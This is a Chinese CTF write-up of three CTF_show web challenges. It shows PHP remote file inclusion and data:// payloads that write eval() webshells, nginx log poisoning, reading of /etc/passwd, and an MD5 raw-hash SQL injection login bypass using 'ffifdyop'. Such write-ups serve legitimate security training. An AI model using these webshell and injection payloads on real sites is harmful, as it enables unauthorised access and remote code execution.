• CTF_show平台 web题解 part1


    web3

    题目描述:

    php_include1

    方法一:RFI

    使用url实现php远程文件包含

    在服务器上构造1.txt

    php_include2

    <?php
    $a = "<?php eval($_POST['123'])?>";
    $b = fopen("a.php","w") or die("123!");
    fwrite($b,$a);
    fclose($b);
    ?>
    

    访问:

    http://ip1/index.php?url=http://ip2/1.txt

    php_include3

    在根目录生成a.php

    使用菜刀连接,获得flag。

    php_include4

    方法二:一句话木马

    payload:

    ?url=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php eval($_POST["123"]);?>")?>
    

    使用菜刀连接

    方法三:php 伪协议

    PHP支持的伪协议如下:

    file:// — 访问本地文件系统 必须是绝对路径
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)php://input 将post请求的数据当作php代码执行
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
    

    在php.ini里有两个重要的参数allow_url_fopen和allow_url_include

    allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
    allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
    

    php_input_0

    php_input_1

    web4

    第四题看起来与第三题一样,进行测试:

    使用php伪协议时,页面反馈error,猜测进行了过滤。

    访问/etc/passwd可以显示,猜测仍为文件包含漏洞,尝试其他利用方式

    ctf_show_web4_1

    经过检测,web3中方法一仍可利用,这里记录一种新的方法。

    方法二:log注入

    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Thu, 09 Apr 2020 11:54:40 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: close
    X-Powered-By: PHP/7.3.11
    Content-Length: 2095
    

    响应头可知服务器为nginx,nginx的log存在/var/log/nginx/access.log/var/log/nginx/error.log,经测试其中access.log可以访问。

    ctf_show_web4_2

    通过在url中包含一句话木马,进行后门的写入:

    <?php eval($_POST['1234']);?>
    

    使用蚁剑连接获得flag。

    ctf_show_web4_3

    web9

    题目是一个登陆界面:

    ctf_show_web9_1

    经过测试,没有发现sql注入,访问robots.txt时,发现提示:

    User-agent: *
    Disallow: /index.phps
    

    访问index.phps

    <?php
            $flag="";
    		$password=$_POST['password'];
    		if(strlen($password)>10){
    			die("password error");
    		}
    		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    		$result=mysqli_query($con,$sql);
    			if(mysqli_num_rows($result)>0){
    					while($row=mysqli_fetch_assoc($result)){
    						 echo "登陆成功<br>";
    						 echo $flag;
    					 }
    			}
    ?>
    

    $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 这样一个sql,其实可以注入。

    当md5后的hex转换成字符串后,如果包含 'or'<trash> 这样的字符串,那整个sql变成

    SELECT * FROM admin WHERE pass = ''or'6<trash>'
    

    很明显可以注入了。

    难点就在如何寻找这样的字符串,

    提供一个字符串:ffifdyop

    md5后,276f722736c95d99e921722cf9ed621c

    ctf_show_web9_2

    在密码处输入ffifdyop即可得到flag

    参考资料:

    MD5加密后的SQL 注入

  • 相关阅读:
    转载:ORA-01438: 值大于为此列指定的允许精度
    PLSQL碰到pls-00103的错误解决办法
    spring 的xml配置使用p标签简化
    spring aop实现拦截接口请求打印日志
    response 设置头的类型 (转)
    js或者ext js获取返回值
    ext grid 前台grid加载数据碰到数据重复只显示一条
    关于struts和Spring 结合到一起之后存在ACtion创建单实例还是多
    SVN提交碰到的问题奇怪的问题
    关于项目使用可配置的properties 文件的实现
  • 原文地址:https://www.cnblogs.com/chalan630/p/12670608.html
Copyright © 2020-2023  润新知